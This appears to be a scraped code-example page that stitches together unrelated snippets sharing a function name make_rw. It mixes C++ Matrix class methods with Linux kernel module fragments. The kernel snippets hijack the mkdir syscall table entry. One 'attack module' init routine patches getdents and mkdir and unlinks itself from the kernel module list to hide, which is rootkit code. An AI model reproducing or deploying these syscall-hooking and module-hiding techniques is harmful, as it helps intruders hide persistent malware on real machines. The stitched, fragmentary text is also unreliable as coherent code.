const Matrix<ValueT> &Matrix<ValueT>::operator=(const Matrix<ValueT> &m) {
    make_rw(n_rows) = m.n_rows;
    make_rw(n_cols) = m.n_cols;
    make_rw(stride) = m.stride;
    make_rw(pin_row) = m.pin_row;
    make_rw(pin_col) = m.pin_col;
    _data = m._data;
    return *this;
}
const Matrix<ValueT> Matrix<ValueT>::submatrix(uint prow, uint pcol,
                                               uint rows, uint cols) const {
    if (prow + rows > n_rows || pcol + cols > n_cols)
        throw std::string("Out of bounds");
    // copying requested data to submatrix.
    Matrix<ValueT> tmp(*this);
    make_rw(tmp.n_rows) = rows;
    make_rw(tmp.n_cols) = cols;
    make_rw(tmp.pin_row) = pin_row + prow;
    make_rw(tmp.pin_col) = pin_col + pcol;
    return tmp;
}
Matrix<ValueT>::Matrix(Matrix &&src) :
        n_rows{src.n_rows},
        n_cols{src.n_cols},
        stride{src.stride},
        pin_row{src.pin_row},
        pin_col{src.pin_col},
        _data{src._data} {
    // resetting state of donor object.
    make_rw(src.n_rows) = 0;
    make_rw(src.n_cols) = 0;
    make_rw(src.stride) = 0;
    make_rw(src.pin_row) = 0;
    make_rw(src.pin_col) = 0;
    src._data.reset();
}
Beispiel #4
0
void sys_call_for_test(void){
		make_rw((unsigned long)sys_call_table);
		tmp = kzalloc((100), GFP_KERNEL);
		original_mkdir = (void*)*(sys_call_table + __NR_mkdir);
		*(sys_call_table + __NR_mkdir) = (unsigned long)hijack_mkdir;
		make_ro((unsigned long)sys_call_table);
}
Matrix<ValueT>::Matrix(std::initializer_list<std::initializer_list<ValueT>> lsts):
    n_rows(lsts.size()), // FIXME: narrowing.
    n_cols{0},
    stride{n_cols},
    pin_row{0},
    pin_col{0},
    _data{}
{
    // check if no action is needed.
    if (n_rows == 0)
        return;

    // initializing columns count using first row.
    make_rw(n_cols) = lsts.begin()->size();
    make_rw(stride) = n_cols;

    // lambda function to check sublist length.
    // local block to invalidate stack variables after it ends.
    {
        auto local_n_cols = n_cols;
        auto chk_length = [local_n_cols](const std::initializer_list<ValueT> &l) {
            return l.size() == local_n_cols;
        };
        // checking that all row sizes are equal.
        if (not std::all_of(lsts.begin(), lsts.end(), chk_length))
            throw std::string("Initialization rows must have equal length");
    }

    if (n_cols == 0)
        return;

    // allocating matrix memory.
    _data.reset(new ValueT[n_cols * n_rows], std::default_delete<ValueT[]>());

    // copying matrix data.
    {
        auto write_ptr = _data.get();
        auto ptr_delta = n_cols;
        auto copier = [&write_ptr, ptr_delta](const std::initializer_list<ValueT> &l) {
            std::copy(l.begin(), l.end(), write_ptr);
            write_ptr += ptr_delta;
        };
        for_each(lsts.begin(), lsts.end(), copier);
    }
}
Beispiel #6
0
int init_module() {
	int bootresult;
	struct module* this_mod;
	preempt_disable();
	printk(KERN_INFO "Attempting to initialize attack module.\n");
	hiddenDirectories = vector_init();
	make_rw(sys_call_table);
	//make a backup of the system call table
	memcpy(backup_sys_call_table, sys_call_table, sizeof(backup_sys_call_table));

	//start up the payload
	//this has been changed, the payload now starts the rootkit
	//bootresult = bootprocess();
	//if (bootresult) printk(KERN_INFO "Boot process failed: %d", bootresult);

	//shim the syscalls. 
	patch(SYS_getdents, getdentsShim);
	//patch(SYS_read, readShim);
	patch(SYS_mkdir, mkdirShim);
	//patch(SYS_fork, forkShim);
	//patch(SYS_clone, cloneShim);
	//patch(SYS_open, openShim);
	//patch(SYS_close, closeShim);

	//request module and payload to be hidden
	//These are now done by the payload
	//hideDirectory(secret_ko_name);
	//hideDirectory(secret_payload_name);

	//hide this module from the list
	mutex_lock(&module_mutex);
	this_mod = find_module("attack_module"); //it turns out the name attack_module is part of the binary, not the filename
	if (this_mod) {
		printk(KERN_INFO "found module, hiding\n");
		list_del_rcu(&this_mod->list);
	}
	else {
		printk(KERN_INFO "could not find module\n");
	}
	mutex_unlock(&module_mutex);

	printk(KERN_INFO "Module loaded\n");
	preempt_enable();
	return 0;
}
Beispiel #7
0
void no_sys_call_for_test(void){
		make_rw((unsigned long)sys_call_table);
		*(sys_call_table + __NR_mkdir) = (unsigned long)original_mkdir;
		make_ro((unsigned long)sys_call_table);
}